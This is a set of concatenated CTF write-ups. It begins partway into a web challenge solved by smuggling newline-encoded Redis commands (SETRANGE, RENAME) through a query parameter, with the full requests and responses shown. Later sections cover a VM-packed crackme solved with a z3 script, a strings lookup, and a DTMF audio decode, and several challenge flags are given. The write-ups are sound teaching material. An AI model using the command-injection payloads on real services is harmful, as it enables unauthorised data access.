```GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000 ⇒No responseGET /?q=kazkiti3%0aSETRANGE%20kazkiti3%208%201%0a0000000000000000 ⇒No responseGET /?q=kazkiti3%0aSETRANGE%20kazkiti3%209%201%0a0000000000000000 ⇒No response・・・(Omitted)・・・GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2034%201%0a0000000000000000 ⇒No responseGET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ⇒No responseGET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2036%201%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/zer0pts111111111111111111111111111111```
↓
flag seems to be **36 characters!!**
---
## 【exploit】
```GET /?q=kazkiti3%0a0000000000000000GET /?q=%0aRENAME%20flag%20kazkiti3%0a0000000000000000GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%207%201%0a0000000000000000GET /?q=kazkiti3%0aSETRANGE%20kazkiti3%2035%201%0a0000000000000000 ※I changed it to 35 because it is 36 characters.GET /?q=kazkiti3%0a0000000000000000 ⇒Location: http://3.112.201.75:8004/zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1```↓
`zer0pts1sh0rt_t0_10ng_10ng_t0_sh0rt1`
↓
`zer0pts{sh0rt_t0_10ng_10ng_t0_sh0rt}` |
# Crack the Heart (56 solves)
Description:
> Convince your crush to go out with you. >> Note: the flag is what you need to say to convince him/her to go out with you. >> *by jitterbug*
We are given an Elf64 file. The binary is packed with custom **virtual machine** where register **rcx** holds "bytecode" and it has ~20 handlers.
```.text:0000000000401000 start proc near ; DATA XREF: .text:0000000000401000 ; LOAD:0000000000400088↑o.text:0000000000401000 mov rcx, offset virtual_machine.text:000000000040100A mov rdx, [rcx].text:000000000040100D lea rcx, [rcx+8] ; inc pc.text:0000000000401011 jmp rdx.text:0000000000401011 start endp.text:0000000000401011.text:0000000000401011 _text ends.text:0000000000401011```
Solution:
We set hardware breakpoints on access on our entered flag and hit run.
We notice one access:
```.data:0000000000402012 get_byte_from_rsi: .data:0000000000402012 mov al, [rsi+r15] ; al holds one byte from our input.data:0000000000402016 jmp next_```
Stepping a bit further reveals this code:
```.data:00000000004020A7 xor bl, al ; al - our input, bl - unknown value.data:00000000004020A9 xor r15, r15.data:00000000004020AC mov rdx, [rcx].data:00000000004020AF lea rcx, [rcx+8].data:00000000004020B3 jmp rdx```
And at the end:
```.data:0000000000402137 mov al, [r10+r11]; al - unknown value.data:000000000040213B sub al, bl ; bl holds xored value.data:000000000040213D jz short next.data:000000000040213F mov ebp, 1 ; ebp = 1 - fail.data:0000000000402144 next: .data:0000000000402144 mov rdx, [rcx].data:0000000000402147 lea rcx, [rcx+8].data:000000000040214B jmp rdx```
If ebp is 1 we exit with badboy message.
Solution:
We set breakpoints on access on every char of our input and write down those unknown values.
I did it manually btw (teach me how to debug with idapython :( )
```pythonfrom z3 import *import sys
magics = [ (0x04, 0x71), (0x91, 0xe5), (0x05, 0x63), (0x02, 0x6e), (0x06, 0x67), (0xcb, 0xac), (0x64, 0x1f), (0x61, 0x16), (0xd3, 0xbb), (0xcf, 0xae), (0x3b, 0x4f), (0x4b, 0x14), (0x67, 0x56), (0x4b, 0x2d), (0x11, 0x3f), (0xbd, 0x93), (0xb5, 0x9b), (0x29, 0x07), (0x3b, 0x52), (0x97, 0xc8), (0xcd, 0xa0), (0x56, 0x37), (0x70, 0x00), (0xc5, 0xb5), (0xf1, 0xc2), (0xc4, 0xa0), (0xa0, 0xff), (0xc0, 0xad), (0xf1, 0xa8), (0x8f, 0xd0), (0xda, 0xb7), (0xff, 0xcc), (0x7f, 0x12), (0x14, 0x24), (0x8b, 0xf9), (0x92, 0xeb), (0xce, 0x91), (0x87, 0xe9), (0xae, 0x9d), (0x10, 0x68), (0x99, 0xed), (0x16, 0x49), (0xe9, 0x9d), (0x96, 0xf9), (0xc4, 0x9b), (0xa6, 0xdf), (0xaf, 0x9f), (0xca, 0xbf), (0xdd, 0xaf), (0xd6, 0xa5), (0xfd, 0xd3), (0xee, 0xc0), (0x05, 0x2b), (0x5d, 0x73), (0xe6, 0x87), (0x55, 0x3d), (0x29, 0x48), (0x23, 0x4b), (0xda, 0xbb), (0xfd, 0x95), (0xca, 0xab), (0x8a, 0xa6), (0xa6, 0x86), (0xce, 0xa4), (0x71, 0x1a), (0xbc, 0xd6), (0xfc, 0x97), (0x4b, 0x65), (0x72, 0x5c), (0xc1, 0xef), (0x4a, 0x64), (0x29, 0x5c), (0xcb, 0xa5), (0x8d, 0xe1), (0x54, 0x31), (0x44, 0x37), (0x9a, 0xe9), (0x9b, 0xbb), (0x78, 0x43), (0x9f, 0xb6), (0x9e, 0xa1), (0xdf, 0xa2),]
def main(): s = Solver()
flag_len = len(magics)
def encode(magics, key): return (magics[0] - (key ^ magics[1]))
for i in range(flag_len): globals()['b%d' % i] = BitVec('b%d' % i, 8) s.add(encode(magics[i], globals()['b%d' % i]) == 0)
print(s.check()) while s.check() == sat: model = s.model() block = [] out = '' for i in range(flag_len): c = globals()['b%i' % i] out += chr(model[c].as_long()) block.append(c != model[c]) s.add(Or(block)) print(out)
if __name__ == "__main__": sys.exit(main())
```
yields the flag
```utflag{what_1f....i_mapp3d_mY_m3m0ry_n3xt_to_y0urs....ahahaha, jkjk....unless ;)?}```
|
# [basics] reverse engineering (680 solves)
Description:
> I know there's a string in this binary somewhere.... Now where did I leave it? >> *by balex*
```bashstrings calc | grep utflagutflag{str1ngs_1s_y0ur_fr13nd}```
**¯\\_(ツ)_/¯** |
# Eavesdropper (forensics, 108p, 20 solved)
In the challenge we get a [wav recording](https://raw.githubusercontent.com/TFNS/writeups/master/2020-02-23-BSidesSF/eavesdropper/eavesdropper.wav) of a phonecall where someone uses dial-tones to input secret code.It's rather classic forensics challenge, so we simply load the file into Audacity, and run DTMF decoder plugin.Interestingly the decoder had some issues with properly figuring out the length of the signal, outputting multiple values instead of one, but we can simply select one digit at a time.
If someone is interested in doing this `the hard way` it's also pretty simple.We can display the wav in Audacity as `spectrogram` and select the frequency ranges to match DTMF codes and we can see:
Either way we can easily read the code: `665645`
Now we just need to call the given number, go bankrupt on international calls and get the flag `ctf{dtmf_is_awesome}` |
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